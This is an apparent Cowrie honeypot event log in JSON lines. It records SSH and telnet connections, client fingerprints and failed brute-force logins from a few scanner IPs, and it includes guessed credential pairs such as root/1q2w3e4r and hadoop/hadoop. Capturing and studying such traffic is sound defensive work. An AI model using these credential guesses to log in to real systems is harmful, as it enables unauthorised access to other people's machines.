{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:49.387607Z","src_ip":"192.109.200.237","session":"b2d6773b1d1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:49.652395Z","src_ip":"192.109.200.237","session":"b2d6773b1d1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890qwe","message":"login attempt [root/1234567890qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:49.738410Z","src_ip":"103.149.170.125","session":"dc5f86fee746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:50.738588Z","src_ip":"192.109.200.237","session":"b2d6773b1d1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:51.001117Z","src_ip":"103.149.170.125","session":"dc5f86fee746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34736,"dst_ip":"159.203.135.109","dst_port":22,"session":"93bb71a2438a","protocol":"ssh","message":"New connection: 192.109.200.237:34736 (159.203.135.109:22) [session: 93bb71a2438a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:52.581552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:52.586729Z","src_ip":"192.109.200.237","session":"93bb71a2438a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:52.669466Z","src_ip":"192.109.200.237","session":"93bb71a2438a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:52.917043Z","src_ip":"192.109.200.237","session":"93bb71a2438a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:53.003643Z","src_ip":"139.19.117.129","session":"f5f427d577d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.934595823287964,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:53.495643Z","src_ip":"152.42.224.71","session":"6328430b1bf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:54.003211Z","src_ip":"192.109.200.237","session":"93bb71a2438a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34744,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7af32aeda2e","protocol":"ssh","message":"New connection: 192.109.200.237:34744 (159.203.135.109:22) [session: c7af32aeda2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:56.079836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:56.084918Z","src_ip":"192.109.200.237","session":"c7af32aeda2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:56.167460Z","src_ip":"192.109.200.237","session":"c7af32aeda2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00136756896973,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:56.193966Z","src_ip":"152.42.224.71","session":"75ca9f811461","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:56.418214Z","src_ip":"192.109.200.237","session":"c7af32aeda2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:57.504944Z","src_ip":"192.109.200.237","session":"c7af32aeda2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34760,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea2c688ba33c","protocol":"ssh","message":"New connection: 192.109.200.237:34760 (159.203.135.109:22) [session: ea2c688ba33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:59.365832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:59.370439Z","src_ip":"192.109.200.237","session":"ea2c688ba33c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:59.454257Z","src_ip":"192.109.200.237","session":"ea2c688ba33c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:59.832039Z","src_ip":"192.109.200.237","session":"ea2c688ba33c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:00.919373Z","src_ip":"192.109.200.237","session":"ea2c688ba33c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56662,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3ecef501e4d","protocol":"telnet","message":"New connection: 152.42.224.71:56662 (10.17.0.5:23) [session: b3ecef501e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:01.699329Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56670,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed7b6c085bc0","protocol":"telnet","message":"New connection: 152.42.224.71:56670 (10.17.0.5:23) [session: ed7b6c085bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:01.973535Z"}
{"eventid":"cowrie.session.closed","duration":0.7217690944671631,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:02.420970Z","src_ip":"152.42.224.71","session":"b3ecef501e4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59962,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef1aa5a41462","protocol":"ssh","message":"New connection: 192.109.200.237:59962 (159.203.135.109:22) [session: ef1aa5a41462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:02.788002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:02.793566Z","src_ip":"192.109.200.237","session":"ef1aa5a41462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:02.876987Z","src_ip":"192.109.200.237","session":"ef1aa5a41462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:03.126178Z","src_ip":"192.109.200.237","session":"ef1aa5a41462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:04.217345Z","src_ip":"192.109.200.237","session":"ef1aa5a41462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59978,"dst_ip":"159.203.135.109","dst_port":22,"session":"aadd74cabf1d","protocol":"ssh","message":"New connection: 192.109.200.237:59978 (159.203.135.109:22) [session: aadd74cabf1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:06.199906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:06.205981Z","src_ip":"192.109.200.237","session":"aadd74cabf1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:06.288558Z","src_ip":"192.109.200.237","session":"aadd74cabf1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:06.536805Z","src_ip":"192.109.200.237","session":"aadd74cabf1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:07.623044Z","src_ip":"192.109.200.237","session":"aadd74cabf1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":46882,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd9ec3391aba","protocol":"telnet","message":"New connection: 209.127.178.212:46882 (159.203.135.109:23) [session: fd9ec3391aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:09.123799Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59984,"dst_ip":"159.203.135.109","dst_port":22,"session":"42f2f5e9dd03","protocol":"ssh","message":"New connection: 192.109.200.237:59984 (159.203.135.109:22) [session: 42f2f5e9dd03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:09.486037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:09.490886Z","src_ip":"192.109.200.237","session":"42f2f5e9dd03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:09.686533Z","src_ip":"192.109.200.237","session":"42f2f5e9dd03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":51278,"dst_ip":"10.17.0.5","dst_port":22,"session":"c57ca60767d4","protocol":"ssh","message":"New connection: 43.153.37.39:51278 (10.17.0.5:22) [session: c57ca60767d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:09.897866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:09.903036Z","src_ip":"43.153.37.39","session":"c57ca60767d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:09.944805Z","src_ip":"192.109.200.237","session":"42f2f5e9dd03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:09.971900Z","src_ip":"43.153.37.39","session":"c57ca60767d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdzxc","message":"login attempt [root/asdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:10.278990Z","src_ip":"43.153.37.39","session":"c57ca60767d4","protocol":"ssh"}
